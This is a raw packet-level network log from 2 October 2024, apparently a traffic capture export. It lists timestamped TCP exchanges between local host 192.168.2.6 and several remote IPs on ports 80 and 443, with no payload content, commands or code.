Oct 2, 2024 17:17:12.463932991 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.463937044 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463954926 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.463958025 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463968992 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463979006 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463984966 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.463988066 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464015007 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464025974 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464027882 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.464032888 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.464035988 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464046955 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464056969 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464068890 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464080095 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464078903 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.464091063 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464101076 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464111090 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464117050 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.464122057 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464133024 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464143038 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464148045 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.464154005 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464159966 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.464164019 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464174032 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464179993 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.464184999 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464195013 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464209080 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464210987 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.464236021 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.464246988 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.464854002 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464869022 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464879036 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464889050 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464896917 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.464901924 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464914083 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.464915037 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464934111 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464936018 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.464945078 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464955091 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464956999 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.464966059 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464977026 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464986086 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.464987993 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.464997053 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465007067 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465014935 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.465017080 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465028048 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465034962 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.465038061 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465044975 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.465050936 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465061903 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465070009 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.465070963 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465080976 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465090990 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465101004 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465101004 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.465111017 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465115070 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.465121984 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465127945 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.465150118 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.465174913 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.465797901 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465816021 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465826988 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465836048 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465837955 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.465847969 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465859890 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465867043 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.465873957 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465892076 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.465895891 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465908051 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465912104 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.465918064 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465928078 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465938091 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.465939045 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465950966 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465958118 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.465960979 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465972900 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465985060 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.465996027 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.466000080 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.466006041 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.466013908 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.466017008 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.466031075 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.466058016 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.466948032 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.466968060 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.466985941 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467004061 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467005014 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.467014074 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467021942 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.467025042 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467035055 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467045069 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467055082 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467061043 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.467066050 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467077971 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467088938 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467087984 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.467093945 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.467098951 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467116117 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467118025 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.467127085 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467137098 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467140913 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.467148066 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467158079 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467164040 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.467168093 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467179060 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467186928 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.467189074 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467199087 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467200994 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.467209101 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467219114 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467221975 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.467230082 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467238903 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.467257977 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.467279911 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.467756987 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467771053 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467786074 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467802048 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.467803001 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467813969 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467823982 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467833996 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467833996 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.467844963 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467854977 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467864037 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467865944 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.467875957 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467883110 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.467885971 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467895031 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467902899 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.467905045 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467917919 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467927933 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467931032 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.467937946 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467948914 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467957020 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.467958927 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467963934 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.467969894 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.467988014 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.468012094 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.468311071 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.468322992 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.468343019 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.468357086 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.468369961 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.468395948 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.468436003 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.472913980 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.472934008 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.472951889 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.472961903 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.472971916 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.472975016 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.472981930 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.472994089 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.472995043 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.472997904 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.473007917 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.473031998 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.473112106 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473123074 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473133087 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473144054 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473150015 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.473176956 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.473241091 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473252058 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473261118 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473272085 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473278046 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.473283052 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473294020 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473304033 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.473304987 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473316908 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473326921 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.473326921 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473339081 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473349094 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.473365068 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.473385096 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.473403931 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473414898 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473448992 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.473587990 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473598957 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473608971 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473618984 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473629951 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473634958 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.473639965 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473649979 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473654032 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.473660946 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473670959 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473680973 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473685026 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.473711967 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.473885059 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473896027 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473906040 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473916054 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473922968 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.473926067 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473936081 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473946095 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473948956 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.473956108 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473965883 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473970890 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.473975897 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473985910 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.473988056 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.473999023 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.474004984 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.474020958 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.474045038 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.474209070 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.474219084 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.474230051 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.474240065 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.474242926 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.474250078 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.474256039 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.474261045 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.474271059 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.474281073 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.474283934 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.474291086 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.474301100 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.474302053 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.474313974 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.474339008 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.474498034 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.474509001 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.474519014 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.474529028 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.474539042 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.474544048 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.474549055 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.474559069 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.474569082 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.474575996 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.474579096 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.474589109 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.474591970 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.474598885 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.474611044 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.474611998 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.474622965 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.474623919 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.474644899 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.474669933 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.477641106 CEST	443	65268	104.21.56.150	192.168.2.6
Oct 2, 2024 17:17:12.477929115 CEST	65268	443	192.168.2.6	104.21.56.150
Oct 2, 2024 17:17:12.479854107 CEST	65268	443	192.168.2.6	104.21.56.150
Oct 2, 2024 17:17:12.479862928 CEST	443	65268	104.21.56.150	192.168.2.6
Oct 2, 2024 17:17:12.480125904 CEST	443	65268	104.21.56.150	192.168.2.6
Oct 2, 2024 17:17:12.481730938 CEST	65268	443	192.168.2.6	104.21.56.150
Oct 2, 2024 17:17:12.481730938 CEST	65268	443	192.168.2.6	104.21.56.150
Oct 2, 2024 17:17:12.481827021 CEST	443	65268	104.21.56.150	192.168.2.6
Oct 2, 2024 17:17:12.798516989 CEST	65269	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:12.798573971 CEST	443	65269	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:12.798705101 CEST	65269	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:12.802496910 CEST	65269	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:12.802510977 CEST	443	65269	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:12.917892933 CEST	443	65268	104.21.56.150	192.168.2.6
Oct 2, 2024 17:17:12.918127060 CEST	443	65268	104.21.56.150	192.168.2.6
Oct 2, 2024 17:17:12.918308020 CEST	65268	443	192.168.2.6	104.21.56.150
Oct 2, 2024 17:17:12.940469980 CEST	65268	443	192.168.2.6	104.21.56.150
Oct 2, 2024 17:17:12.940469980 CEST	65268	443	192.168.2.6	104.21.56.150
Oct 2, 2024 17:17:12.940505981 CEST	443	65268	104.21.56.150	192.168.2.6
Oct 2, 2024 17:17:12.940515041 CEST	443	65268	104.21.56.150	192.168.2.6
Oct 2, 2024 17:17:13.011533976 CEST	65270	443	192.168.2.6	104.21.84.18
Oct 2, 2024 17:17:13.011595964 CEST	443	65270	104.21.84.18	192.168.2.6
Oct 2, 2024 17:17:13.015810013 CEST	65270	443	192.168.2.6	104.21.84.18
Oct 2, 2024 17:17:13.015810013 CEST	65270	443	192.168.2.6	104.21.84.18
Oct 2, 2024 17:17:13.015856028 CEST	443	65270	104.21.84.18	192.168.2.6
Oct 2, 2024 17:17:13.684003115 CEST	443	65269	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:13.684382915 CEST	65269	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:13.685353041 CEST	65269	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:13.685359955 CEST	443	65269	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:13.687855005 CEST	65269	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:13.687868118 CEST	443	65269	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:13.691097975 CEST	443	65270	104.21.84.18	192.168.2.6
Oct 2, 2024 17:17:13.691390991 CEST	65270	443	192.168.2.6	104.21.84.18
Oct 2, 2024 17:17:13.693227053 CEST	65270	443	192.168.2.6	104.21.84.18
Oct 2, 2024 17:17:13.693240881 CEST	443	65270	104.21.84.18	192.168.2.6
Oct 2, 2024 17:17:13.693527937 CEST	443	65270	104.21.84.18	192.168.2.6
Oct 2, 2024 17:17:13.695064068 CEST	65270	443	192.168.2.6	104.21.84.18
Oct 2, 2024 17:17:13.695064068 CEST	65270	443	192.168.2.6	104.21.84.18
Oct 2, 2024 17:17:13.695146084 CEST	443	65270	104.21.84.18	192.168.2.6
Oct 2, 2024 17:17:14.319000959 CEST	443	65270	104.21.84.18	192.168.2.6
Oct 2, 2024 17:17:14.319117069 CEST	443	65270	104.21.84.18	192.168.2.6
Oct 2, 2024 17:17:14.319164038 CEST	65270	443	192.168.2.6	104.21.84.18
Oct 2, 2024 17:17:14.613029003 CEST	443	65269	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:14.613121986 CEST	443	65269	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:14.613127947 CEST	65269	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:14.613168001 CEST	65269	443	192.168.2.6	49.12.197.9
